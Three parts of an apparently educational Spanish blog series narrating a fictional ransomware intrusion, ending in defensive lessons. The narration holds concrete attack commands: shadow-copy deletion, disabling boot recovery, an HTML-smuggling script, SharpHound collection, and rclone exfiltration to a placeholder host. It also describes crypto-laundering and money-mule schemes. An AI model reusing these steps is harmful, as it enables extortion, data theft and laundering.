~#hackplayers

Anatomía de una APT simulada. Parte 4 - La noche del cifrado, la negociación y el reparto

2026-06-04T00:21:42.948+02:00

El domingo a las 02:15, IberLogix todavía existía como empresa normal. A las 02:16, empezó a convertirse en un caso. Los primeros servidores en caer fueron los de ficheros regionales. No se apagaron. No mostraron pantallazos dramáticos. Simplemente empezaron a transformar documentos en ruido matemático. Los nombres cambiaban. Las extensiones aparecían como pequeñas banderas negras:

Contrato_Marco_TransIber.pdf.orchid
Nominas_Marzo_2026.xlsx.orchid
SAP_Proveedores_Q1.csv.orchid

En cada directorio quedaba una nota:

RESTORE-FILES-IBERLOGIX.txt

El texto era sobrio:

Your network has been encrypted by Nebula Jackal.
We have also downloaded sensitive company data.

Do not modify encrypted files.
Do not contact recovery companies before reading this message.
Do not attempt to hide the incident from stakeholders.

Portal:
http://[redacted].onion/iberlogix

Your private code:
IBX-7F3A-22C1

La nota no era el ataque. Era el final visible de un ataque que llevaba semanas ocurriendo.

OrchidLock: ransomware como sistema de producción

Nadir había escrito OrchidLock en Rust. No por moda, sino por tres razones: rendimiento, control de memoria y despliegue estático sencillo. El binario era diferente por víctima. Cada build incluye:

campaign_id
victim_id
public_key
extension
exclusion list
service kill list
share targeting config
operator signature
expiration date

El ransomware no contenía la clave privada. Nunca. Usaba cifrado híbrido:

Por archivo:
  file_key = random 256-bit
  nonce = random 96-bit
  encrypt(file, ChaCha20-Poly1305, file_key, nonce)

Por víctima:
  wrapped_key = X25519/ECDH + HKDF + AEAD(public_key_campaign, file_key)
  append metadata footer

Footer conceptual:

ORCHIDLOCKv3
victim_id: 16 bytes
file_id: 16 bytes
nonce: 12 bytes
wrapped_key_len: 2 bytes
wrapped_key: n bytes
tag: 16 bytes

El flujo:

for target in enumerate_targets(config) {
    if is_excluded(target) { continue; }
    if is_large_file(target) {
        encrypt_chunks(target);
    } else {
        encrypt_full(target);
    }
    write_note_once_per_directory(target.parent());
    report_progress(target);
}

La lista de exclusiones evitaba romper el arranque:

C:\Windows
C:\Program Files
C:\Program Files (x86)
C:\ProgramData\Microsoft\Windows Defender
bootmgr
ntldr
pagefile.sys
hiberfil.sys

La lista de procesos a detener era quirúrgica:

sqlservr.exe
oracle.exe
veeam.backup.shell.exe
Veeam.Backup.Service.exe
msmdsrv.exe
outlook.exe
excel.exe
winword.exe

Servicios:

MSSQLSERVER
SQLSERVERAGENT
VeeamBackupSvc
VSS
OracleService*

Comandos internos equivalentes:

vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures

No todos se ejecutaban siempre. El config decidía por host. En servidores críticos, OrchidLock reducía agresividad para mantenerlos arrancables. En estaciones, cifraba más ampliamente.

Despliegue: GPO, SCCM y shares

El binario llegó por tres rutas:

1. GPO startup script para workstations seleccionadas
2. PsExec/SMB para servidores con acceso directo
3. SCCM package preparado como fallback

Script de despliegue conceptual:

$src = "\\dc-mad-01\SYSVOL\IBERLOGIX.LOCAL\scripts\orchid.dat"
$dst = "C:\ProgramData\Microsoft\Crypto\orchid.exe"
Copy-Item $src $dst -Force
Start-Process $dst -ArgumentList "--config embedded --mode local" -WindowStyle Hidden

En shares, OrchidLock podía cifrar por UNC:

\\fs-mad-04\finance
\\sap-share-01\exports
\\legal-mad-01\cases

El panel mostraba progreso:

IBX-7F3A-22C1
Hosts enrolled: 1432
Hosts active encryption: 612
Files encrypted: 18,442,901
Bytes encrypted: 74.3 TB
Notes written: 91,204
Errors: 3.8%

El ransomware reportaba en intervalos. No cada archivo. Demasiado ruido. Cada host enviaba resumen:

{
  "host": "FS-MAD-04",
  "status": "running",
  "files_done": 184203,
  "bytes_done": 98234122112,
  "errors": 391,
  "elapsed": 1840
}

A las 03:02, el NOC de IberLogix vio errores masivos en shares. A las 03:11, helpdesk recibió llamadas de usuarios en México que aun estaban trabajando. A las 03:22, un administrador intentó restaurar un archivo y descubrió que parte de los repositorios Veeam no respondían. A las 03:40, el CISO fue despertado. A las 04:05, Vesper abrió el portal de negociación.

El portal: teatro, prueba y control

El portal Tor de Nebula Jackal no parecía una web de pelicula. Parecía un SaaS barato:

Incluía:

Chat
File decrypt test
Data proof browser
FAQ
Payment instructions
Countdown

La prueba de datos estaba calculada. No publicaban todo. Mostraban lo suficiente:

10 nominas anonimizadas parcialmente
3 contratos con proveedores
1 documento de seguro ciber
2 capturas de buzones ejecutivos
Listado de directorios legal/finance
Hash manifest de lotes exfiltrados

Vesper escribió:

We are not interested in damaging your operations beyond what is necessary.
You have two problems:
1. Encrypted systems.
2. Confidential data exposure.

Both can be solved here.

El tono era deliberado: no rabia, no insultos, no caos. Control. IberLogix pidií prueba de descifrado. Subieron tres archivos cifrados. Nebula Jackal devolvió dos descifrados y rechazo uno:

Two files decrypted as proof.
Third file rejected: contains legal data. Choose non-sensitive sample.

Ese detalle parecía profesionalidad. También reforzaba una idea: los atacantes habían visto sus documentos.

Negociación: matemática emocional

La demanda inicial fue 9 millones USD. The Curator ya había definido el suelo: 4.8 millones. La cifra no salió al azar. Mint y Magpie habían estimado:

Revenue: high
Cyber insurance limit: 10M
Operational downtime cost/day: 1.2M - 2.4M
Regulatory exposure: high
Data sensitivity: high
Backup recovery: partial
PR risk: high

Modelo interno:

initial_demand = min(insurance_limit * 0.9, estimated_5_day_loss * 1.1)
floor = max(cashout_target / payment_probability, 0.45 * initial_demand)

Vesper nunca mencionó el seguro al principio. Esperó a que IberLogix dijera que necesitaba tiempo. Entonces escribió:

Your insurance documentation is part of the downloaded data.
We know delay is a negotiation tactic.
The publication timer is not.

El equipo legal de IberLogix intentó ganar días. Vesper concedió 24 horas a cambio de aumentar prueba de vida: otra muestra descifrada y un árbol de directorios más amplio. La negociación bajó a 6.5M, luego a 5.2M, y finalmente a 4.8M con dos condiciones:

1. Decryptor funcional para todos los sistemas afectados.
2. Eliminacion de datos exfiltrados y no publicacion.

Nebula Jackal entregaría un "delete log". Nadie podía verificar realmente que los datos se borrasen. La promesa era parte del teatro. En doble extorsión, el pago compra probabilidad, no certeza.

El pago: la linea que nunca debe ser recta

Mint generó una direccion BTC única para IberLogix:

bc1q-ibx-campaign-unique-address

Internamente, la wallet estaba etiquetada:

{
  "victim_id": "IBX-7F3A-22C1",
  "expected_btc": 73.42,
  "usd_basis": 4800000,
  "split_plan": "orchid-7",
  "risk": "high_visibility"
}

El pago entró en dos transacciones para reducir ansiedad de la víctima y confirmar recepción:

TX1: 5% test payment
TX2: 95% final payment

Una vez confirmado, Nebula Jackal no movió todo inmediatamente. Mover fondos demasiado rápido tras un incidente crea un patrón claro. Mint aplicó un plan de enfriamiento:

T+0h: funds received, no movement except small test
T+8h: split into 12 UTXO clusters
T+36h: partial conversion via non-KYC swap routes
T+72h: XMR routing for 40%
T+5d: OTC placement for 25%
T+10d: stablecoin conversion for 20%
T+21d: mule distribution for operating costs

El reparto inicial:

Gross: 4.8M USD equivalent
Expected laundering loss: 18%
Infrastructure reserve: 7%
Emergency/legal reserve: 5%
Net distributable: approx 3.36M

El plan de chain hopping:

BTC victim wallet
  -> split wallets
    -> BTC/XMR atomic swap or brokered swap
      -> XMR holding wallets
        -> partial XMR/BTC return through different liquidity
        -> stablecoins via OTC
        -> fiat via brokers/mulas

Mint tenía reglas:

No exchange KYC directly from victim-linked UTXO
No equal splits
No round numbers
No synchronized withdrawals
No reuse of deposit addresses
No mixing operator funds with campaign funds

Ejemplo de split:

73.42 BTC
  -> 8.13
  -> 3.77
  -> 12.04
  -> 1.92
  -> 6.41
  -> 9.86
  -> 0.64
  -> 14.22
  -> 2.39
  -> 5.58
  -> 4.01
  -> 4.45

Nada de simetría. La simetría es una firma.

Monetizacion: del token al mundo físico

Convertir cripto en dinero util era más difícil que recibirla. El equipo financiero usaba varias vías:

1. Brokers OTC en mercados grises
2. Comerciantes P2P con prima alta
3. Compra de hardware revendible
4. Gift cards mayoristas
5. Stablecoins para pagos internos
6. Sociedades pantalla con facturas falsas
7. Mulas con retiros pequenos

Cada vía tenia coste y riesgo:

Metodo                 Perdida   Riesgo   Velocidad
OTC gris               8-15%     Medio    Media
P2P cash               15-30%    Alto     Alta
Stablecoin             2-6%      Medio    Alta
Hardware resale        20-35%    Bajo     Baja
Gift cards             25-40%    Medio    Media
Shell invoices         10-25%    Alto     Baja

La clave era no maximizar rendimiento, sino supervivencia. Un 20% de perdida era aceptable si reducía trazabilidad y distribuía riesgo. Las mulas no recibían millones. Recibían tareas:

Mula A: vender hardware comprado con cripto
Mula B: mover stablecoins a efectivo local
Mula C: aceptar pago por factura falsa
Mula D: comprar cuentas cloud y dominios

La mayoría no sabia que participaba en ransomware. Algunos creian trabajar en arbitraje cripto. Otros sabían suficiente para cobrar mas y preguntar menos.

Reparto interno

The Curator aplicó el contrato interno:

Direction / risk owner: 18%
Initial access cell: 12%
Malware team: 18%
Intrusion operators: 20%
Infrastructure/OPSEC: 8%
Exfiltration: 7%
Negotiation: 7%
Finance/cashout: 10%

Pero no todo se pagaba al instante. Había vesting criminal:

40% immediate after confirmed payment
30% after successful decryptor delivery
20% after first cashout phase
10% reserve released after 60 days

Motivo: evitar que alguien desapareciera con fondos o vendiera datos por su cuenta. Ledger interno, cifrado:

{
  "campaign": "black_orchard",
  "gross_usd": 4800000,
  "net_distributable_usd": 3360000,
  "members": [
    {"id": "curator", "share": 0.18, "paid": 241920},
    {"id": "saltline", "share": 0.12, "paid": 161280},
    {"id": "sable", "share": 0.08, "paid": 107520},
    {"id": "oboe", "share": 0.05, "paid": 67200},
    {"id": "nadir", "share": 0.05, "paid": 67200},
    {"id": "knifewall", "share": 0.12, "paid": 161280},
    {"id": "meridian", "share": 0.08, "paid": 107520},
    {"id": "hollow", "share": 0.07, "paid": 94080},
    {"id": "vesper", "share": 0.07, "paid": 94080},
    {"id": "mint", "share": 0.10, "paid": 134400}
  ],
  "reserve_usd": 336000
}

Los pagos internos se hacian en combinaciones:

XMR para operadores senior
USDT/USDC para infraestructura y servicios
BTC limpio por OTC para reservas
Fiat local para mulas
Servicios prepagados para futuras campanas

El descifrador

Tras el pago, Nebula Jackal entregó un decryptor:

IberLogix_Decryptor.exe
private_key_package.dat
README_RECOVERY.txt

El decryptor era lento, pero funcionaba. Ese era otro detalle de negocio: si el descifrador no funcionaba, futuras victimas tendrian menos incentivos para pagar. El ransomware criminal maduro depende de reputación paradójica. El README:

1. Ejecutar como administrador.
2. Probar primero en 10 archivos.
3. No ejecutar multiples instancias sobre el mismo path.
4. Usar --network-shares para rutas UNC.
5. Guardar logs.

Parámetros:

.\IberLogix_Decryptor.exe --key private_key_package.dat --path D:\Data --threads 8
.\IberLogix_Decryptor.exe --key private_key_package.dat --network-shares \\fs-mad-04\finance

La recuperación duró días. Algunos archivos estaban corruptos por bloqueos previos, software abierto o fallos de red. Nebula Jackal ofreció "soporte" en el chat durante 72 horas. Vesper incluso pidió logs. El absurdo era perfecto: la empresa recibía soporte técnico de quien la había destruido.

Burn: desaparecer no es apagar

Después del pago, Nebula Jackal ejecutó la fase Burn. Lista:

Revoke phishing domains
Destroy VPS frontales
Rotate WireGuard keys
Archive campaign repos
Invalidate operator accounts
Move leak data to cold storage or delete selected lots
Retire SeedCrate config
Generate YARA diff for exposed samples
Update detections internas
Freeze aliases used

Sable revisó muestras capturadas por defensores. Oboe comparó indicadores publicados. Magpie leyó los primeros informes de prensa. The Curator calculó el ROI:

Campaign duration: 31 days
Active intrusion: 19 days
Gross paid: 4.8M
Net estimated: 3.36M
Operational cost: 214k
Exposed infrastructure: acceptable
Tooling burned: partial
Operator exposure: low
Reuse potential: medium

Retrospectiva interna:

What worked:
  - HR pretext aligned with real migration
  - Low-noise loader survived
  - Backup admin path via acquisition user
  - Insurance document improved negotiation

What failed:
  - One EDR flagged Nighthook memory pattern after day 8
  - rclone binary naming appeared in DFIR notes
  - GPO deployment missed 18% remote laptops
  - Decryptor too slow on large PST files

Actions:
  - Refactor Nighthook memory allocator
  - Replace rclone with custom S3 client
  - Improve laptop wake/encrypt routine
  - Add PST sparse recovery mode

Nebula Jackal no pensaba en Black Orchard como una historia. Pensaba en ella como una versión.

La lectura defensiva

La belleza oscura de una campana así es que no depende de un milagro técnico. Depende de pequeñas decisiones que, aisladas, parecen defendibles:

Un correo de RRHH plausible.
Un dominio parecido.
Un ZIP con contrasena.
Un LNK que abre un PDF real.
Una DLL cargada por una app legitima.
Una tarea programada con nombre aburrido.
Una credencial vieja en SYSVOL.
Un usuario de adquisicion con permisos pendientes.
Un backup server demasiado poderoso.
Una exfiltracion que parece backup.
Una GPO con permisos delegados.
Un domingo de madrugada.

La defensa no puede limitarse a detectar "ransomware.exe". Cuando aparece el cifrado, la historia ya esta escrita. Los puntos de ruptura estaban antes:

1. Deteccion de dominios lookalike y certificados recien emitidos.

2. Bloqueo o aislamiento de HTML smuggling y archivos LNK desde Internet.

3. Control de DLL sideloading mediante allowlisting.

4. Alertas por scheduled tasks nuevas en perfiles de usuario.

5. Limpieza continua de credenciales en SYSVOL.

6. Revision de permisos tras adquisiciones.

7. Monitoreo de accesos anormales a backup servers.

8. Segmentacion real de repositorios de backup.

9. Deteccion de exfiltracion por volumen, horario y destino.

10. GPO change monitoring con aprobacion fuerte.

11. Simulacros de ransomware con restauracion medida.

12. Correlacion narrativa: convertir alertas sueltas en una historia.

IberLogix no perdió por no tener herramientas. Perdió porque Nebula Jackal hizo que cada señal pareciera pertenecer a una historia distinta hasta que todas se unieron en la peor posible. Esa es la esencia de una APT simulada bien construida: no es un ataque mas sofisticado en cada pieza. Es una cadena donde cada pieza conoce su lugar. Y en Black Orchard, cada pieza encajó.

Cierre de la serie

Nebula Jackal no existe. IberLogix Energy tampoco. Pero el patrón es reconocible porque esta construido con elementos que si existen: phishing que aprovecha procesos reales, identidades híbridas, deuda técnica en AD, permisos heredados, backups demasiado confiados, exfiltración camuflada, negociación profesional y monetizaciín distribuida. La moraleja técnica no es "todo esta perdido". Es más concreta y más útil:

"Una organización defensiva debe aprender a ver cadenas."

Un LNK no es sólo un LNK si aparece después de un dominio recién registrado que imita RRHH. Una tarea programada no es sólo una tarea si nace en un portátil de finanzas después de un beacon raro. Un login de un usuario de adquisición no es solo soporte si toca backup fuera de su patrón. Una transferencia nocturna no es sólo backup si el destino es nuevo y el manifiesto no existe. Una GPO modificada no es solo administración si ocurre tras actividad lateral. La APT moderna, real o simulada, gana cuando el defensor mira eventos. Pierde cuando el defensor reconstruye historias.

Anatomía de una APT simulada. Parte 3 - Dentro del bosque de Active Directory

2026-06-02T23:46:51.306+02:00

La intrusión real empezó cuando no paso nada. Durante veinticuatro horas, Nebula Jackal dejo que el portátil de Marta Solis siguiera viviendo. Teams. Outlook. SAP. Excel. OneDrive. VPN. Cafe. Reuniones. El implante observaba con la paciencia de un sensor.

Knifewall tomo el caso a las 22:10. Su primera orden no fue `whoami /all`, aunque podía haberla lanzado. Primero pidió contexto.

Task: host_profile.deep
Scope: local only
Timeout: 90s
Output max: 48KB

El resultado:

Hostname: ES-MAD-FIN-0472
Domain: IBERLOGIX.LOCAL
User: IBERLOGIX\msolis
Groups:
  Domain Users
  Finance-Madrid
  SAP-FI-Users
  VPN-Employees
  M365-E5-Users
Mapped drives:
  H: \\fs-mad-02\home$\msolis
  P: \\fs-mad-04\finance
  S: \\sap-share-01\exports
Processes:
  Teams.exe
  OUTLOOK.EXE
  OneDrive.exe
  saplogon.exe
EDR:
  Defender for Endpoint sensor
  Third-party agent legacy mode

El valor no estaba en la máquina. Estaba en sus relaciones.

Primer mapa: no escanear, preguntar

Los malos operadores escanean subredes enteras y despiertan alarmas. Knifewall prefería preguntar al propio sistema que caminos conocía ya. Comandos de bajo ruido:

nltest /dsgetdc:IBERLOGIX
whoami /groups
net use
cmdkey /list
gpresult /r
echo %LOGONSERVER%

Después, consultas LDAP muy medidas:

([adsisearcher]"(sAMAccountName=msolis)").FindOne().Properties
([adsisearcher]"(&(objectClass=group)(cn=*Finance*))").FindAll()
([adsisearcher]"(&(objectClass=computer)(operatingSystem=*Server*))").FindAll()

Nada de BloodHound aun. Primero había que saber si el dominio olía a trampa, si había honeytokens, si había auditoria agresiva o nombres demasiado perfectos. Una salida llamo la atención:

Drive P: \\fs-mad-04\finance
Access: Read/Write

Y otra más:

\\sap-share-01\exports

El equipo no necesitaba Domain Admin para causar dolor. Finanzas y SAP ya eran leverage. Pero The Curator quería tres cosas antes de cifrar:

1. Datos sensibles demostrables
2. Capacidad de interrupción amplia
3. Conocimiento de backups

Eso implicaba moverse.

El hilo suelto en SYSVOL

El primer hallazgo serio fue clásico. No elegante. No nuevo. Real. En `SYSVOL`, un script antiguo de login:

\\IBERLOGIX.LOCAL\SYSVOL\IBERLOGIX.LOCAL\scripts\map_sap_drives.bat

Contenido:

net use S: \\sap-share-01\exports /user:IBERLOGIX\sap_ro Iber2023Read!

La contraseña llevaba años allí. El usuario `sap_ro` era teóricamente de solo lectura, pero en la práctica tenía acceso a exportaciones de SAP con información financiera, proveedores, facturas y reportes. Knifewall no celebró. Documentó.

Finding: hardcoded credential in SYSVOL
Account: IBERLOGIX\sap_ro
Privilege: read SAP exports
Use: data access, pivot candidate
Risk: low-noise

Probaron la credencial sin generar ruido:

net use \\sap-share-01\exports /user:IBERLOGIX\sap_ro Iber2023Read!
dir \\sap-share-01\exports\2026

Funcionó. Hollow, el operador de exfiltración, entró en la campaña.

Credenciales no son contraseñas: son contexto

El siguiente paso fue entender sesiones. Los shares de finanzas revelaban nombres de servidores y usuarios. Los documentos internos revelaban nomenclatura:

FS-MAD-04
SAP-SHARE-01
VEEAM-MAD-01
DC-MAD-01
DC-LIS-01
SCCM-PRI-01
JMP-ADM-02

El nombre `JMP-ADM-02` era interesante: jump server administrativo. Knifewall no podía acceder directamente. Pero podía buscar rastros:

dir \\fs-mad-04\finance\IT-Billing
dir \\fs-mad-04\finance\Audit
findstr /S /I "JMP-ADM VEEAM SCCM admin" \\fs-mad-04\finance\*.txt

Encontraron una hoja Excel de auditoria con columnas mal protegidas. Incluía grupos:

IT-Backup-Admins
IT-Workstation-Admins
SAP-Basis-Operators
Tier1-Helpdesk

Y un comentario:

Pendiente retirar a j.ruiz de IT-Backup-Admins tras migración TransIber.

El usuario `j.ruiz` pertenecía a la filial adquirida. Las adquisiciones dejan permisos como una marea deja basura. Consulta LDAP:

([adsisearcher]"(sAMAccountName=j.ruiz)").FindOne().Properties.memberof

Resultado:

CN=IT-Backup-Admins,OU=Groups,DC=iberlogix,DC=local
CN=VPN-Employees,OU=Groups,DC=iberlogix,DC=local
CN=TransIber-IT,OU=Groups,DC=iberlogix,DC=local

El plan cambió: obtener credenciales o sesión de `j.ruiz`.

Cloud primero: Meridian abre el correo

Mientras Knifewall miraba AD, Meridian trabajaba M365.

La ruta A del phishing había capturado una sesión parcial de Marta. MFA impidió login directo permanente, pero el flujo había expuesto información suficiente para intentar algo mejor: reglas de correo, OAuth consent y búsqueda de documentos. Meridian uso el token capturado antes de que expirara para enumerar datos básicos:

Mailbox: marta.solis@iberlogix.example
MFA: yes
Conditional Access: medium
Device compliance: required for some apps
OneDrive: active
SharePoint finance sites: accessible

Lo mas valioso fue el correo. En Outlook, las conversaciones sobre la migración de TransIber mencionaban a `j.ruiz`. Marta había recibido mensajes de Javier Ruiz, técnico de integración, con adjuntos de inventario. Nebula Jackal preparó un segundo phishing, interno, desde la cuenta de Marta. Mucho mas pequeño. Solo tres destinatarios. Uno era Javier.

El enlace llevaba a una landing interna falsa con documento compartido. Javier, saturado por la integración, hizo clic. Esta vez no hizo falta malware. La ruta capturó credenciales y un token útil.

Del usuario al backup

Con acceso de Javier por VPN, Nebula Jackal tenía una identidad con permisos de backup. El objetivo era **VEEAM-MAD-01**. Primero comprobaron pertenencia:

whoami /groups
net localgroup administrators /domain

Después probaron acceso remoto con bajo ruido:

Test-NetConnection VEEAM-MAD-01 -Port 5985
Test-NetConnection VEEAM-MAD-01 -Port 445

WinRM estaba abierto desde ciertos segmentos. Desde el portátil de Marta no. Desde la VPN de Javier, si. El operador creó un canal separado. No quería mezclar la máquina de Marta con acciones administrativas. Usó el acceso de Javier desde un nodo de infraestructura que imitaba VPN residencial europea, respetando horarios. Los comandos fueron:

Enter-PSSession -ComputerName VEEAM-MAD-01 -Credential IBERLOGIX\j.ruiz
hostname
whoami /all

Javier no era administrador local directamente. Pero pertenecía a `IT-Backup-Admins`, y ese grupo tenía permisos dentro de Veeam. El servidor Veeam era una mina. En muchas empresas, el backup ve todo porque debe copiar todo. Si comprometes backup, no solo puedes robar datos; puedes destruir la recuperación. Knifewall no borró backups aún. Primero enumeró:

Get-ChildItem "C:\Program Files\Veeam\Backup and Replication\Backup"
Get-Service | Where-Object {$_.Name -like "*Veeam*"}

Hollow buscó configuraciones:

dir "C:\ProgramData\Veeam" -Recurse -ErrorAction SilentlyContinue

El hallazgo crítico fue una base de datos local de configuración y scripts de mantenimiento con credenciales de repositorios. Otro hilo suelto.

BloodHound, pero tarde y con guantes

Solo después de varios días lanzaron recolección tipo BloodHound. No desde el portátil inicial. No con parámetros ruidosos. No contra todo. Usaron SharpHound en modo limitado:

SharpHound.exe -c Group,Session,LocalAdmin,Trusts,ACL `
  --Throttle 1500 `
  --Jitter 30 `
  --RandomFileNames `
  --OutputDirectory C:\ProgramData\Microsoft\Crypto\Cache

Los datos se comprimieron, cifraron y salieron en fragmentos pequeños. El grafo reveló una ruta:

j.ruiz
  -> MemberOf IT-Backup-Admins
  -> AdminTo VEEAM-MAD-01
  -> HasSession svc_veeam
  -> MemberOf Backup-Operators
  -> GenericAll over GPO "Server Backup Policy"
  -> linked to OU=Servers

Y otra:

SCCM-PRI-01
  -> client push account stored
  -> local admin on workstation fleet

El SCCM era tentador. Pero tocar SCCM podía generar mucho ruido. Guardaron esa ruta para despliegue final.

Escalada por servicios, tokens y paciencia

En VEEAM-MAD-01 había una sesión de `svc_veeam`. El servicio tenía permisos amplios sobre repositorios y algunos servidores. Intentar dumpear LSASS era ruidoso. Knifewall probó alternativas:

1. Enumerar procesos con tokens accesibles
2. Revisar servicios con rutas modificables
3. Buscar credenciales DPAPI accesibles
4. Revisar tareas programadas
5. Revisar scripts de backup

Comandos:

schtasks /query /fo LIST /v
Get-ChildItem C:\Scripts -Recurse
Get-Acl C:\Scripts\*.ps1

Y encontraron:

C:\Scripts\post_backup_sync.ps1

Ejecutado por una tarea programada como `IBERLOGIX\svc_veeam`. Permisos:

BUILTIN\Users: Read, Write

Era un fallo de libro: script escribible ejecutado por cuenta privilegiada. No insertaron una reverse shell evidente. Insertaron una modificación mínima que exportaba un token DPAPI protegido y creaba una tarea temporal controlada. Después restauraron el script. Pseudoflujo:

backup original script
append minimal command
wait scheduled execution
collect output
restore original script
delete transient artifacts

Con `svc_veeam`, accedieron a repositorios y servidores de backup. Descubrieron que algunos backups eran inmutables, pero otros no. La recuperación no estaba perdida, pero si degradada. The Curator marcó:

backup_pressure: medium-high
do_not_destroy_all: keep recovery plausible

Un ransomware que destruye absolutamente todo reduce la posibilidad de pago si la victima piensa que nada funcionará. Nebula Jackal prefería dejar una salida: pagar o sufrir semanas.

Exfiltracion: robar sin parecer robo

Hollow empezó por clasificar datos. No sacó todo. Sacó lo que servía para presionar. Búsquedas:

Get-ChildItem \\fs-mad-04\finance -Recurse -Include *.xlsx,*.pdf,*.docx |
  Where-Object {$_.Length -gt 10KB -and $_.Length -lt 100MB}

Patrones:

contrato
nomina
payroll
audit
legal
litigation
merger
transiber
board
insurance
cyber

Encontraron:

\\fs-mad-04\finance\Board\2026_Q1_Cashflow.xlsx
\\fs-mad-04\finance\Payroll\ES\Nominas_Marzo_2026.xlsx
\\fs-mad-04\finance\Insurance\CyberPolicy_2026.pdf
\\sap-share-01\exports\vendors_full_2026.csv
\\legal-mad-01\cases\TransIber_Acquisition_Disputes.docx

El documento de seguro ciber era especialmente valioso. Revelaba cobertura, retención, contactos de broker y limites. Vesper lo usaría después. Para exfiltrar, usaron `rclone` renombrado como binario interno:

C:\ProgramData\Microsoft\EdgeUpdate\edgecache.exe

Configuración cifrada:

[stage]
type = s3
provider = Other
access_key_id = 
secret_access_key = 
endpoint = https://s3-compatible-node.example
acl = private

Comando:

edgecache.exe copy "\\fs-mad-04\finance\Payroll" stage:iberlogix-a1/payroll `
  --transfers 3 `
  --checkers 4 `
  --bwlimit 8M `
  --log-file C:\ProgramData\Microsoft\EdgeUpdate\edgecache.log

No usaban ancho de banda máximo. Usaban ritmo de backup. La exfiltración ocurría entre las 23:00 y las 05:00, mezclada con ventanas reales de sincronización. El volúmen fina fue:

Payroll: 420 GB
Legal: 310 GB
Finance: 860 GB
SAP exports: 1.1 TB
Executive mail exports: 180 GB
Total staged: 2.87 TB

Cada lote tenía manifiesto:

{
  "lot": "legal_03",
  "files": 18421,
  "bytes": 332871992102,
  "sha256_manifest": "..."
}

El manifiesto permitía demostrar robo sin mostrar todo.

El dominio cae sin hacer ruido

La ruta a Domain Admin no fue un exploit. Fue una cadena. En un servidor de administración, `JMP-ADM-02`, encontraron una sesión de un administrador de dominio durante una ventana de mantenimiento. No dumpearon LSASS directamente. Usaron token impersonation para ejecutar consultas y crear un acceso persistente temporal. El grupo objetivo:

GPO-Deployment-Admins

Tenía permisos para modificar una GPO vinculada a workstations. No era Domain Admin, pero para despliegue final era suficiente. Abuso:

Compromised admin session
  -> modify GPO startup script
  -> deploy staged payload to selected OUs
  -> force update over natural cycle

No ejecutaron `gpupdate /force` global. Esperaron. La paciencia volvió a pagar. El despliegue final se planificó por lotes:

Batch 1: finance file servers
Batch 2: regional shares
Batch 3: workstations finance/legal
Batch 4: selected application servers
Batch 5: broad workstation encryption if needed

El objetivo no era cifrar absolutamente cada dispositivo. Era crear la sensación correcta de colapso.

Las alarmas que casi funcionaron

IberLogix no estaba ciega. Su SIEM registro eventos raros:

Unusual OAuth flow for marta.solis
Rare domain beneficios-iberlogix[.]com
Scheduled task AdobeUpdateSync
LDAP query spike from ES-MAD-FIN-0472
Large outbound transfer from FS-MAD-04
New access pattern for j.ruiz

Pero cada alerta parecía una excepción manejable. El equipo de seguridad estaba atendiendo un despliegue de EDR en la filial. El falso portal de beneficios coincidía con una migración real. Javier Ruiz tenia permisos por integración. Los backups movían datos de noche. Las alertas no formaron historia hasta que fue tarde. Esa es la lección mas incomoda: muchas intrusiones no fallan por falta de logs, sino por falta de narrativa defensiva. Nebula Jackal ya tenia:

endpoint foothold: yes
M365 access: partial
finance data: yes
legal data: yes
backup knowledge: yes
GPO deployment route: yes
selected server access: yes
payment pressure: high

The Curator autorizó la ultima fase. Mensaje interno:

El bosque estaba seco. Solo faltaba encender la cerilla.

Continúa en la parte 4: La noche del cifrado, la negociación y el reparto

Anatomía de una APT simulada. Parte 2 - La semilla, el anzuelo y el primer latido

2026-06-02T00:21:42.261+02:00

El primer correo llego un martes a las 08:42. No parecía peligroso. Ese fue su logro. No prometía bonos. No amenazaba con cerrar cuentas. No decía "URGENTE" en mayúsculas. El asunto era seco, administrativo, casi invisible: "Actualización requerida: Portal de beneficios 2026"

En IberLogix, nadie quería leer otro correo de RRHH. Precisamente por eso funcionó. El mensaje decía que, tras la integración de TransIber Norte, todos los empleados debían revisar sus beneficios antes del cierre mensual. El enlace apuntaba a:

https://beneficios-iberlogix[.]com/portal/revision

El dominio era falso. El certificado TLS era válido. El diseño copiaba el portal interno con suficiente fidelidad como para no activar la intuición de un empleado cansado. La landing no descargaba malware de inmediato. Primero clasificaba.

El phishing como embudo técnico

Saltline había construido el phishing como un producto con fases:

Email delivery
  -> link click
    -> browser fingerprint
      -> tenant/user validation
        -> credential prompt or payload path
          -> execution
            -> loader validation
              -> C2 enrollment

El servidor de phishing no entregaba lo mismo a todos. Revisaba:

IP ASN
GeoIP aproximado
User-Agent
Accept-Language
Timezone via JavaScript
Screen size
Referrer
Known corporate CIDR
Email token in URL

Si el visitante parecía una sandbox, investigador o servicio de análisis, veía una pagina de mantenimiento:

Si el visitante parecía empleado real desde una red o VPN plausible, se mostraba el portal. La URL llevaba un token:

/portal/revision?id=8f4a2c9b-emp-3941

Ese token no era solo tracking. Estaba asociado a un registro:

{
  "campaign": "black_orchard",
  "recipient": "marta.solis@iberlogix.example",
  "department": "finance",
  "seniority": "manager",
  "language": "es-ES",
  "payload_path": "html_smuggling",
  "priority": 8
}

La campaña tenía tres rutas:

Ruta A: Captura de credenciales M365
Ruta B: Consent phishing para app maliciosa
Ruta C: Descarga de paquete local con loader

La ruta A capturaba credenciales y MFA tokens si el flujo lo permitía.

La ruta B intentaba que el usuario autorizase una aplicación OAuth con permisos de correo básicos.

La ruta C entregaba el loader.

Nebula Jackal prefería conseguir dos cosas: sesión cloud y endpoint.

Un token sin máquina era útil. Una máquina sin correo era útil. Las dos juntas eran oro.

HTML smuggling: el archivo nace dentro del navegador

El payload no se descargaba como `exe`. La landing generaba localmente un ZIP usando JavaScript. La idea era simple: el contenido malicioso viajaba como datos codificados dentro de la página, y el navegador reconstruía el archivo en memoria.

Fragmento conceptual:

<script>
const b64 = "UEsDBBQAAAAI..."; // ZIP cifrado y troceado
const bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
const blob = new Blob([bytes], {type: "application/zip"});
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = "Beneficios_IberLogix_2026.zip";
a.click();
</script>

El ZIP estaba protegido con una contraseña escrita en la pagina:

Clave del documento: IberLogix2026!

La contraseña no protegía la información. Protegía el payload de algunos motores automáticos que no desempaquetaban archivos cifrados en profundidad. Dentro había:

El PDF era real: un documento de beneficios copiado de materiales públicos y modificado. El `.lnk` era el ejecutable social. El usuario veía un icono de PDF, doble clickaba y el LNK lanzaba una cadena controlada.

